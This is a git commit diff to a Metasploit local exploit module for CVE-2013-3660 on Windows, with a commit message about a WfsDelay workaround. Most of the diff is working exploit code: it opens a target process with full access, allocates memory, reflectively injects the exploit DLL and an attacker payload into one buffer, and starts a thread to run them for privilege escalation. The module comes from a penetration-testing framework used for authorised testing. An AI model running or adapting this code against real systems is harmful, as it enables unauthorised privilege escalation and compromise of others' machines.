Comments for WfsDelay, adjustment to injection

I had inteded to add the `WfsDelay` as Meatballs suggested, but for locl
exploits this doesn't appear to work as expected. After speaking to HDM
we've decided to leave the sleep in there and figure out the `WsfDelay`
thing later.

This also includes a slight refactor which puts the payload and the
exploit in the same chunk of allocated memory. Minor optimisation, but
worth it.
bug/bundler_fix
OJ 2013-11-28 08:42:16 +10:00
parent defc0ebe5c
commit 0b879d8f39
1 changed files with 19 additions and 15 deletions

View File

@ -59,9 +59,14 @@ class Metasploit3 < Msf::Exploit::Local
[ 'URL', 'http://seclists.org/fulldisclosure/2013/May/91' ], [ 'URL', 'http://seclists.org/fulldisclosure/2013/May/91' ],
], ],
'DisclosureDate' => 'May 15 2013', 'DisclosureDate' => 'May 15 2013',
'DefaultTarget' => 0 'DefaultTarget' => 0,
# TODO: Uncomment this line and remove the Rex.sleep when WsfDelay works properly.
# Wait for up to 30 seconds by default for our shell because this exploit can
# take quite a while to finish execute
#'DefaultOptions' => { 'WfsDelay' => 30 }
})) }))
# TODO: remove this when we've sorted out the WsfDelay issue.
register_options([ register_options([
OptInt.new('WAIT', [ true, "Number of seconds to wait for exploit to run", 10 ]) OptInt.new('WAIT', [ true, "Number of seconds to wait for exploit to run", 10 ])
], self.class) ], self.class)
@ -141,7 +146,6 @@ class Metasploit3 < Msf::Exploit::Local
host_process = client.sys.process.open(pid, PROCESS_ALL_ACCESS) host_process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
print_good("Process #{pid} launched.") print_good("Process #{pid} launched.")
print_status("Reflectively injecting the exploit DLL into #{pid}...")
library_path = ::File.join(Msf::Config.data_directory, "exploits", library_path = ::File.join(Msf::Config.data_directory, "exploits",
"cve-2013-3660", "ppr_flatten_rec.x86.dll") "cve-2013-3660", "ppr_flatten_rec.x86.dll")
library_path = ::File.expand_path(library_path) library_path = ::File.expand_path(library_path)
@ -153,36 +157,36 @@ class Metasploit3 < Msf::Exploit::Local
break break
end end
end end
# Inject the exloit, but don't run it yet.
exploit_mem = inject_into_pid(dll, host_process)
print_status("Exploit injected. Injecting payload into #{pid}...") print_status("Injecting exploit and payload into #{pid}...")
# Inject the payload into the process so that it's runnable by the exploit. # Inject the exploit and payload, but don't run it yet.
payload_mem = inject_into_pid(payload.encoded, host_process) exploit_mem, payload_mem = inject_into_pid(dll, payload.encoded, host_process)
print_status("Injection complete. Executing exploit...")
print_status("Payload injected. Executing exploit...")
# invoke the exploit, passing in the address of the payload that # invoke the exploit, passing in the address of the payload that
# we want invoked on successful exploitation. # we want invoked on successful exploitation.
host_process.thread.create(exploit_mem + offset, payload_mem) host_process.thread.create(exploit_mem + offset, payload_mem)
# TODO: remove this Rex.sleep call when the WsfDelay stuff works correctly for local
# exploits. For some reason it doesn't appear to work properly.
wait = datastore['WAIT'].to_i wait = datastore['WAIT'].to_i
print_status("Exploit thread executing (can take a while to run), waiting #{wait} sec ...") print_status("Exploit thread executing (can take a while to run), waiting #{wait} sec ...")
# TODO: talk to the guys about this, there has to be a wait involved before the
# exploit has finished, because the listener has to stick around for a while
# otherwise it shuts down before the exploit has finished.
Rex.sleep(wait) Rex.sleep(wait)
print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.") print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.")
end end
protected protected
def inject_into_pid(payload, process) def inject_into_pid(exploit, payload, process)
payload_size = payload.length payload_size = exploit.length + payload.length
payload_size += 1024 - (payload.length % 1024) unless payload.length % 1024 == 0 payload_size += 1024 - (payload.length % 1024) unless payload.length % 1024 == 0
payload_mem = process.memory.allocate(payload_size) payload_mem = process.memory.allocate(payload_size)
process.memory.protect(payload_mem) process.memory.protect(payload_mem)
process.memory.write(payload_mem, payload) process.memory.write(payload_mem, exploit)
return payload_mem process.memory.write(payload_mem + exploit.length, payload)
return payload_mem, payload_mem + exploit.length
end end
end end